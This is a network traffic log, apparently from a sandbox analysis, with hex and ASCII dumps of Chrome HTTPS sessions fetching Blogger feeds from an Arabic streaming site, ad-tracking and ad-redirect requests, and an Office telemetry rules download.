2024-10-14 22:39:54 UTC	1369	IN	Data Raw: 69 6f 6e 2f 74 68 72 65 61 64 2f 31 2e 30 22 2c 22 69 64 22 3a 7b 22 24 74 22 3a 22 74 61 67 3a 62 6c 6f 67 67 65 72 2e 63 6f 6d 2c 31 39 39 39 3a 62 6c 6f 67 2d 36 32 38 32 38 38 38 39 39 33 30 33 36 30 36 36 34 34 33 22 7d 2c 22 75 70 64 61 74 65 64 22 3a 7b 22 24 74 22 3a 22 32 30 32 34 2d 31 30 2d 31 34 54 32 33 3a 33 30 3a 35 31 2e 33 39 31 2b 30 33 3a 30 30 22 7d 2c 22 63 61 74 65 67 6f 72 79 22 3a 5b 7b 22 74 65 72 6d 22 3a 22 d8 a7 d9 84 d9 85 d8 af d8 a7 d8 ad 20 d8 a7 d8 b3 d8 b7 d9 88 d8 b1 d8 a9 20 d8 a7 d9 84 d8 b9 d9 88 d8 af d8 a9 22 7d 2c 7b 22 74 65 72 6d 22 3a 22 d8 a7 d9 84 d8 b9 d8 aa d8 a7 d9 88 d9 84 d8 a9 22 7d 2c 7b 22 74 65 72 6d 22 3a 22 d8 a7 d9 84 d8 ad d8 b4 d8 a7 d8 b4 d9 8a d9 86 22 7d 2c 7b 22 74 65 72 6d 22 3a 22 d8 b1 d8 Data Ascii: ion/thread/1.0","id":{"$t":"tag:blogger.com,1999:blog-6282888993036066443"},"updated":{"$t":"2024-10-14T23:30:51.391+03:00"},"category":[{"term":" "},{"term":""},{"term":""},{"term":"
2024-10-14 22:39:54 UTC	719	IN	Data Raw: 72 2e 63 6f 6d 5c 2f 66 65 65 64 73 5c 2f 36 32 38 32 38 38 38 39 39 33 30 33 36 30 36 36 34 34 33 5c 2f 70 6f 73 74 73 5c 2f 64 65 66 61 75 6c 74 5c 2f 2d 5c 2f 25 44 39 25 38 33 25 44 38 25 42 31 25 44 38 25 41 41 25 44 39 25 38 38 25 44 39 25 38 36 3f 61 6c 74 3d 6a 73 6f 6e 2d 69 6e 2d 73 63 72 69 70 74 5c 75 30 30 32 36 6d 61 78 2d 72 65 73 75 6c 74 73 3d 36 22 7d 2c 7b 22 72 65 6c 22 3a 22 61 6c 74 65 72 6e 61 74 65 22 2c 22 74 79 70 65 22 3a 22 74 65 78 74 2f 68 74 6d 6c 22 2c 22 68 72 65 66 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 77 77 77 2e 6d 79 63 69 6d 61 6c 69 76 65 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 5c 2f 6c 61 62 65 6c 5c 2f 25 44 39 25 38 33 25 44 38 25 42 31 25 44 38 25 41 41 25 44 39 25 38 38 25 44 39 25 38 36 22 7d 2c 7b 22 72 65 6c 22 3a Data Ascii: r.com\/feeds\/6282888993036066443\/posts\/default\/-\/%D9%83%D8%B1%D8%AA%D9%88%D9%86?alt=json-in-script\u0026max-results=6"},{"rel":"alternate","type":"text/html","href":"http:\/\/www.mycimalive.com\/search\/label\/%D9%83%D8%B1%D8%AA%D9%88%D9%86"},{"rel":
2024-10-14 22:39:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	49868	188.114.97.3	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:54 UTC	546	OUT	GET /feeds/posts/default/-/%D9%85%D8%B3%D9%84%D8%B3%D9%84%D8%A7%D8%AA?alt=json-in-script&max-results=6&callback=jQuery11100049902415236919184_1728945586995&data&_=1728945586996 HTTP/1.1 Host: www.mycimalive.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: prefetchAd_8079706=true
2024-10-14 22:39:54 UTC	979	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:54 GMT Content-Type: text/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Expires: Mon, 14 Oct 2024 22:39:55 GMT Cache-Control: public, must-revalidate, proxy-revalidate, max-age=1 Last-Modified: Mon, 14 Oct 2024 20:30:51 GMT ETag: W/"7b373212863274b92a446240265131e037f19df0f9bcac38759e41580b8da756" Vary: Accept-Encoding Age: 0 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8X7W8jVTA%2BEt9PxBk1PpKRSX6GYOrWcJ9ltPzEvJ8PhUbWHi8SPoiEnvfAssb%2F%2BqPFTUvjnHrHrlDCn6PSEyMC1cPnGM7micf%2Bsll7ty%2BYWlsM%2FxySqET7D4V5f3clzcXALHryQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d2b116d48135e71-EWR alt-svc: h3=":443"; ma=86400
2024-10-14 22:39:54 UTC	390	IN	Data Raw: 39 63 33 0d 0a 2f 2f 20 41 50 49 20 63 61 6c 6c 62 61 63 6b 0a 6a 51 75 65 72 79 31 31 31 30 30 30 34 39 39 30 32 34 31 35 32 33 36 39 31 39 31 38 34 5f 31 37 32 38 39 34 35 35 38 36 39 39 35 28 7b 22 76 65 72 73 69 6f 6e 22 3a 22 31 2e 30 22 2c 22 65 6e 63 6f 64 69 6e 67 22 3a 22 55 54 46 2d 38 22 2c 22 66 65 65 64 22 3a 7b 22 78 6d 6c 6e 73 22 3a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 35 2f 41 74 6f 6d 22 2c 22 78 6d 6c 6e 73 24 6f 70 65 6e 53 65 61 72 63 68 22 3a 22 68 74 74 70 3a 2f 2f 61 39 2e 63 6f 6d 2f 2d 2f 73 70 65 63 2f 6f 70 65 6e 73 65 61 72 63 68 72 73 73 2f 31 2e 30 2f 22 2c 22 78 6d 6c 6e 73 24 62 6c 6f 67 67 65 72 22 3a 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 62 6c 6f 67 Data Ascii: 9c3// API callbackjQuery11100049902415236919184_1728945586995({"version":"1.0","encoding":"UTF-8","feed":{"xmlns":"http://www.w3.org/2005/Atom","xmlns$openSearch":"http://a9.com/-/spec/opensearchrss/1.0/","xmlns$blogger":"http://schemas.google.com/blog
2024-10-14 22:39:54 UTC	1369	IN	Data Raw: 69 63 61 74 69 6f 6e 2f 74 68 72 65 61 64 2f 31 2e 30 22 2c 22 69 64 22 3a 7b 22 24 74 22 3a 22 74 61 67 3a 62 6c 6f 67 67 65 72 2e 63 6f 6d 2c 31 39 39 39 3a 62 6c 6f 67 2d 36 32 38 32 38 38 38 39 39 33 30 33 36 30 36 36 34 34 33 22 7d 2c 22 75 70 64 61 74 65 64 22 3a 7b 22 24 74 22 3a 22 32 30 32 34 2d 31 30 2d 31 34 54 32 33 3a 33 30 3a 35 31 2e 33 39 31 2b 30 33 3a 30 30 22 7d 2c 22 63 61 74 65 67 6f 72 79 22 3a 5b 7b 22 74 65 72 6d 22 3a 22 d8 a7 d9 84 d9 85 d8 af d8 a7 d8 ad 20 d8 a7 d8 b3 d8 b7 d9 88 d8 b1 d8 a9 20 d8 a7 d9 84 d8 b9 d9 88 d8 af d8 a9 22 7d 2c 7b 22 74 65 72 6d 22 3a 22 d8 a7 d9 84 d8 b9 d8 aa d8 a7 d9 88 d9 84 d8 a9 22 7d 2c 7b 22 74 65 72 6d 22 3a 22 d8 a7 d9 84 d8 ad d8 b4 d8 a7 d8 b4 d9 8a d9 86 22 7d 2c 7b 22 74 65 72 6d 22 3a Data Ascii: ication/thread/1.0","id":{"$t":"tag:blogger.com,1999:blog-6282888993036066443"},"updated":{"$t":"2024-10-14T23:30:51.391+03:00"},"category":[{"term":" "},{"term":""},{"term":""},{"term":
2024-10-14 22:39:54 UTC	747	IN	Data Raw: 6f 67 67 65 72 2e 63 6f 6d 5c 2f 66 65 65 64 73 5c 2f 36 32 38 32 38 38 38 39 39 33 30 33 36 30 36 36 34 34 33 5c 2f 70 6f 73 74 73 5c 2f 64 65 66 61 75 6c 74 5c 2f 2d 5c 2f 25 44 39 25 38 35 25 44 38 25 42 33 25 44 39 25 38 34 25 44 38 25 42 33 25 44 39 25 38 34 25 44 38 25 41 37 25 44 38 25 41 41 3f 61 6c 74 3d 6a 73 6f 6e 2d 69 6e 2d 73 63 72 69 70 74 5c 75 30 30 32 36 6d 61 78 2d 72 65 73 75 6c 74 73 3d 36 22 7d 2c 7b 22 72 65 6c 22 3a 22 61 6c 74 65 72 6e 61 74 65 22 2c 22 74 79 70 65 22 3a 22 74 65 78 74 2f 68 74 6d 6c 22 2c 22 68 72 65 66 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 77 77 77 2e 6d 79 63 69 6d 61 6c 69 76 65 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 5c 2f 6c 61 62 65 6c 5c 2f 25 44 39 25 38 35 25 44 38 25 42 33 25 44 39 25 38 34 25 44 38 25 42 33 Data Ascii: ogger.com\/feeds\/6282888993036066443\/posts\/default\/-\/%D9%85%D8%B3%D9%84%D8%B3%D9%84%D8%A7%D8%AA?alt=json-in-script\u0026max-results=6"},{"rel":"alternate","type":"text/html","href":"http:\/\/www.mycimalive.com\/search\/label\/%D9%85%D8%B3%D9%84%D8%B3
2024-10-14 22:39:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	49871	172.67.178.81	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:54 UTC	396	OUT	GET /split_track?action=check_overlay&dlShown=true&zone=8079706 HTTP/1.1 Host: bytogeticr.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:54 UTC	960	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:54 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS, HEAD Access-Control-Allow-Headers: DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Content-Range,Range Access-Control-Expose-Headers: DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Content-Range,Range cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DB8xf2X5SMP1hthugkeDBBkH0WqmKiBfVFBMjmgqi3PVo3WARfj9BU8kwYECBU0wXDVaLLzjfYI2bkGygy0PAwVTeoei9DW4k5YvmH1mhomFi6FQlhhkbtl9SUvRV%2F9I8w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d2b116d4ec5c459-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.6	49870	188.114.97.3	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:54 UTC	546	OUT	GET /feeds/posts/default/-/%D9%85%D8%B3%D9%84%D8%B3%D9%84%D8%A7%D8%AA?alt=json-in-script&max-results=6&callback=jQuery11100049902415236919184_1728945586999&data&_=1728945587000 HTTP/1.1 Host: www.mycimalive.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: prefetchAd_8079706=true
2024-10-14 22:39:54 UTC	971	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:54 GMT Content-Type: text/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cross-Origin-Resource-Policy: cross-origin ETag: W/"7b373212863274b92a446240265131e037f19df0f9bcac38759e41580b8da756" Cache-Control: public, must-revalidate, proxy-revalidate, max-age=1 Vary: Accept-Encoding Expires: Mon, 14 Oct 2024 22:39:55 GMT X-Content-Type-Options: nosniff X-XSS-Protection: 0 Last-Modified: Mon, 14 Oct 2024 20:30:51 GMT X-Frame-Options: SAMEORIGIN cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kp0C0E5S%2Fx2MK7s0r2JWQhirozpy%2B8n2alQgqW5P9Jc6xIt%2B2es9Dupsom%2FKgo22KdTqCl6LhIz1thfxddzLC1feI217%2F05Q%2BHB0HzAlVXEVjwbqz2yq9GqxCQPGWAcRHodR4iY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d2b116d4aa38c24-EWR alt-svc: h3=":443"; ma=86400
2024-10-14 22:39:54 UTC	398	IN	Data Raw: 39 63 33 0d 0a 2f 2f 20 41 50 49 20 63 61 6c 6c 62 61 63 6b 0a 6a 51 75 65 72 79 31 31 31 30 30 30 34 39 39 30 32 34 31 35 32 33 36 39 31 39 31 38 34 5f 31 37 32 38 39 34 35 35 38 36 39 39 39 28 7b 22 76 65 72 73 69 6f 6e 22 3a 22 31 2e 30 22 2c 22 65 6e 63 6f 64 69 6e 67 22 3a 22 55 54 46 2d 38 22 2c 22 66 65 65 64 22 3a 7b 22 78 6d 6c 6e 73 22 3a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 35 2f 41 74 6f 6d 22 2c 22 78 6d 6c 6e 73 24 6f 70 65 6e 53 65 61 72 63 68 22 3a 22 68 74 74 70 3a 2f 2f 61 39 2e 63 6f 6d 2f 2d 2f 73 70 65 63 2f 6f 70 65 6e 73 65 61 72 63 68 72 73 73 2f 31 2e 30 2f 22 2c 22 78 6d 6c 6e 73 24 62 6c 6f 67 67 65 72 22 3a 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 62 6c 6f 67 Data Ascii: 9c3// API callbackjQuery11100049902415236919184_1728945586999({"version":"1.0","encoding":"UTF-8","feed":{"xmlns":"http://www.w3.org/2005/Atom","xmlns$openSearch":"http://a9.com/-/spec/opensearchrss/1.0/","xmlns$blogger":"http://schemas.google.com/blog
2024-10-14 22:39:54 UTC	1369	IN	Data Raw: 74 68 72 65 61 64 2f 31 2e 30 22 2c 22 69 64 22 3a 7b 22 24 74 22 3a 22 74 61 67 3a 62 6c 6f 67 67 65 72 2e 63 6f 6d 2c 31 39 39 39 3a 62 6c 6f 67 2d 36 32 38 32 38 38 38 39 39 33 30 33 36 30 36 36 34 34 33 22 7d 2c 22 75 70 64 61 74 65 64 22 3a 7b 22 24 74 22 3a 22 32 30 32 34 2d 31 30 2d 31 34 54 32 33 3a 33 30 3a 35 31 2e 33 39 31 2b 30 33 3a 30 30 22 7d 2c 22 63 61 74 65 67 6f 72 79 22 3a 5b 7b 22 74 65 72 6d 22 3a 22 d8 a7 d9 84 d9 85 d8 af d8 a7 d8 ad 20 d8 a7 d8 b3 d8 b7 d9 88 d8 b1 d8 a9 20 d8 a7 d9 84 d8 b9 d9 88 d8 af d8 a9 22 7d 2c 7b 22 74 65 72 6d 22 3a 22 d8 a7 d9 84 d8 b9 d8 aa d8 a7 d9 88 d9 84 d8 a9 22 7d 2c 7b 22 74 65 72 6d 22 3a 22 d8 a7 d9 84 d8 ad d8 b4 d8 a7 d8 b4 d9 8a d9 86 22 7d 2c 7b 22 74 65 72 6d 22 3a 22 d8 b1 d8 a7 d9 85 d8 Data Ascii: thread/1.0","id":{"$t":"tag:blogger.com,1999:blog-6282888993036066443"},"updated":{"$t":"2024-10-14T23:30:51.391+03:00"},"category":[{"term":" "},{"term":""},{"term":""},{"term":"
2024-10-14 22:39:54 UTC	739	IN	Data Raw: 6d 5c 2f 66 65 65 64 73 5c 2f 36 32 38 32 38 38 38 39 39 33 30 33 36 30 36 36 34 34 33 5c 2f 70 6f 73 74 73 5c 2f 64 65 66 61 75 6c 74 5c 2f 2d 5c 2f 25 44 39 25 38 35 25 44 38 25 42 33 25 44 39 25 38 34 25 44 38 25 42 33 25 44 39 25 38 34 25 44 38 25 41 37 25 44 38 25 41 41 3f 61 6c 74 3d 6a 73 6f 6e 2d 69 6e 2d 73 63 72 69 70 74 5c 75 30 30 32 36 6d 61 78 2d 72 65 73 75 6c 74 73 3d 36 22 7d 2c 7b 22 72 65 6c 22 3a 22 61 6c 74 65 72 6e 61 74 65 22 2c 22 74 79 70 65 22 3a 22 74 65 78 74 2f 68 74 6d 6c 22 2c 22 68 72 65 66 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 77 77 77 2e 6d 79 63 69 6d 61 6c 69 76 65 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 5c 2f 6c 61 62 65 6c 5c 2f 25 44 39 25 38 35 25 44 38 25 42 33 25 44 39 25 38 34 25 44 38 25 42 33 25 44 39 25 38 34 25 44 Data Ascii: m\/feeds\/6282888993036066443\/posts\/default\/-\/%D9%85%D8%B3%D9%84%D8%B3%D9%84%D8%A7%D8%AA?alt=json-in-script\u0026max-results=6"},{"rel":"alternate","type":"text/html","href":"http:\/\/www.mycimalive.com\/search\/label\/%D9%85%D8%B3%D9%84%D8%B3%D9%84%D
2024-10-14 22:39:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	49872	188.114.97.3	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:54 UTC	546	OUT	GET /feeds/posts/default/-/%D9%85%D8%B3%D9%84%D8%B3%D9%84%D8%A7%D8%AA?alt=json-in-script&max-results=6&callback=jQuery11100049902415236919184_1728945586997&data&_=1728945586998 HTTP/1.1 Host: www.mycimalive.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: prefetchAd_8079706=true
2024-10-14 22:39:54 UTC	963	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:54 GMT Content-Type: text/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cross-Origin-Resource-Policy: cross-origin ETag: W/"7b373212863274b92a446240265131e037f19df0f9bcac38759e41580b8da756" Cache-Control: public, must-revalidate, proxy-revalidate, max-age=1 Vary: Accept-Encoding Expires: Mon, 14 Oct 2024 22:39:55 GMT X-Content-Type-Options: nosniff X-XSS-Protection: 0 Last-Modified: Mon, 14 Oct 2024 20:30:51 GMT X-Frame-Options: SAMEORIGIN cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Pzp%2BBS7NIorDXaIQ7vLVy6T3NxRkwrNTs08nvbihjPYvdhu%2FgCldaHCeyKBhn6bXBNDduDRJPTEk9gsGGyjGZHHGJxRjywWYbTfgvcTqrtxtQ30Y5OjUzJigy2gKBYuwL2mUwN0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d2b116d4e268c30-EWR alt-svc: h3=":443"; ma=86400
2024-10-14 22:39:54 UTC	406	IN	Data Raw: 39 63 33 0d 0a 2f 2f 20 41 50 49 20 63 61 6c 6c 62 61 63 6b 0a 6a 51 75 65 72 79 31 31 31 30 30 30 34 39 39 30 32 34 31 35 32 33 36 39 31 39 31 38 34 5f 31 37 32 38 39 34 35 35 38 36 39 39 37 28 7b 22 76 65 72 73 69 6f 6e 22 3a 22 31 2e 30 22 2c 22 65 6e 63 6f 64 69 6e 67 22 3a 22 55 54 46 2d 38 22 2c 22 66 65 65 64 22 3a 7b 22 78 6d 6c 6e 73 22 3a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 35 2f 41 74 6f 6d 22 2c 22 78 6d 6c 6e 73 24 6f 70 65 6e 53 65 61 72 63 68 22 3a 22 68 74 74 70 3a 2f 2f 61 39 2e 63 6f 6d 2f 2d 2f 73 70 65 63 2f 6f 70 65 6e 73 65 61 72 63 68 72 73 73 2f 31 2e 30 2f 22 2c 22 78 6d 6c 6e 73 24 62 6c 6f 67 67 65 72 22 3a 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 62 6c 6f 67 Data Ascii: 9c3// API callbackjQuery11100049902415236919184_1728945586997({"version":"1.0","encoding":"UTF-8","feed":{"xmlns":"http://www.w3.org/2005/Atom","xmlns$openSearch":"http://a9.com/-/spec/opensearchrss/1.0/","xmlns$blogger":"http://schemas.google.com/blog
2024-10-14 22:39:54 UTC	1369	IN	Data Raw: 2e 30 22 2c 22 69 64 22 3a 7b 22 24 74 22 3a 22 74 61 67 3a 62 6c 6f 67 67 65 72 2e 63 6f 6d 2c 31 39 39 39 3a 62 6c 6f 67 2d 36 32 38 32 38 38 38 39 39 33 30 33 36 30 36 36 34 34 33 22 7d 2c 22 75 70 64 61 74 65 64 22 3a 7b 22 24 74 22 3a 22 32 30 32 34 2d 31 30 2d 31 34 54 32 33 3a 33 30 3a 35 31 2e 33 39 31 2b 30 33 3a 30 30 22 7d 2c 22 63 61 74 65 67 6f 72 79 22 3a 5b 7b 22 74 65 72 6d 22 3a 22 d8 a7 d9 84 d9 85 d8 af d8 a7 d8 ad 20 d8 a7 d8 b3 d8 b7 d9 88 d8 b1 d8 a9 20 d8 a7 d9 84 d8 b9 d9 88 d8 af d8 a9 22 7d 2c 7b 22 74 65 72 6d 22 3a 22 d8 a7 d9 84 d8 b9 d8 aa d8 a7 d9 88 d9 84 d8 a9 22 7d 2c 7b 22 74 65 72 6d 22 3a 22 d8 a7 d9 84 d8 ad d8 b4 d8 a7 d8 b4 d9 8a d9 86 22 7d 2c 7b 22 74 65 72 6d 22 3a 22 d8 b1 d8 a7 d9 85 d8 b2 20 d8 ac d8 a7 d8 a8 Data Ascii: .0","id":{"$t":"tag:blogger.com,1999:blog-6282888993036066443"},"updated":{"$t":"2024-10-14T23:30:51.391+03:00"},"category":[{"term":" "},{"term":""},{"term":""},{"term":"
2024-10-14 22:39:54 UTC	731	IN	Data Raw: 5c 2f 36 32 38 32 38 38 38 39 39 33 30 33 36 30 36 36 34 34 33 5c 2f 70 6f 73 74 73 5c 2f 64 65 66 61 75 6c 74 5c 2f 2d 5c 2f 25 44 39 25 38 35 25 44 38 25 42 33 25 44 39 25 38 34 25 44 38 25 42 33 25 44 39 25 38 34 25 44 38 25 41 37 25 44 38 25 41 41 3f 61 6c 74 3d 6a 73 6f 6e 2d 69 6e 2d 73 63 72 69 70 74 5c 75 30 30 32 36 6d 61 78 2d 72 65 73 75 6c 74 73 3d 36 22 7d 2c 7b 22 72 65 6c 22 3a 22 61 6c 74 65 72 6e 61 74 65 22 2c 22 74 79 70 65 22 3a 22 74 65 78 74 2f 68 74 6d 6c 22 2c 22 68 72 65 66 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 77 77 77 2e 6d 79 63 69 6d 61 6c 69 76 65 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 5c 2f 6c 61 62 65 6c 5c 2f 25 44 39 25 38 35 25 44 38 25 42 33 25 44 39 25 38 34 25 44 38 25 42 33 25 44 39 25 38 34 25 44 38 25 41 37 25 44 38 25 Data Ascii: \/6282888993036066443\/posts\/default\/-\/%D9%85%D8%B3%D9%84%D8%B3%D9%84%D8%A7%D8%AA?alt=json-in-script\u0026max-results=6"},{"rel":"alternate","type":"text/html","href":"http:\/\/www.mycimalive.com\/search\/label\/%D9%85%D8%B3%D9%84%D8%B3%D9%84%D8%A7%D8%
2024-10-14 22:39:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	49873	188.114.96.3	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:54 UTC	926	OUT	GET /policy-sweep-check.htm?offer_id=99275599&geo=US&oaid=0080f52b8e41436deb287525cd342cae&s=869823461617578654&z=8079706&b=21546778&var=&campaignid=14083&utm_campaign=&utm_medium=8079706&utm_source=zd_14083&utm_term=21546778&utm_content=zd_public_v2&country=US HTTP/1.1 Host: phaivusaido.com Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:54 UTC	632	IN	HTTP/1.1 404 Not Found Date: Mon, 14 Oct 2024 22:39:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ELQu4CjDk3Z6gS24M2fVdiWuf2Jf4QTFzv2ZcjyOOo0fAvnx5fx%2FjpKBiOTh5jeQFp9XZkjCzYgOxCUOo8dwwSN9FwRLUXuIYBe%2F%2BpmIrg2EfCHhyEGLJCsBJjG2LQkBNTc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8d2b116d5e6c4364-EWR alt-svc: h3=":443"; ma=86400
2024-10-14 22:39:54 UTC	151	IN	Data Raw: 39 31 0d 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0a 0a 0a 0a 0a 0a 0d 0a Data Ascii: 91<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
2024-10-14 22:39:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:54 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:54 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:54 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: ec733f58-401e-0035-529c-1b82d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223954Z-17db6f7c8cf6f7vv3recfp4a6w00000003zg00000000pcka x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
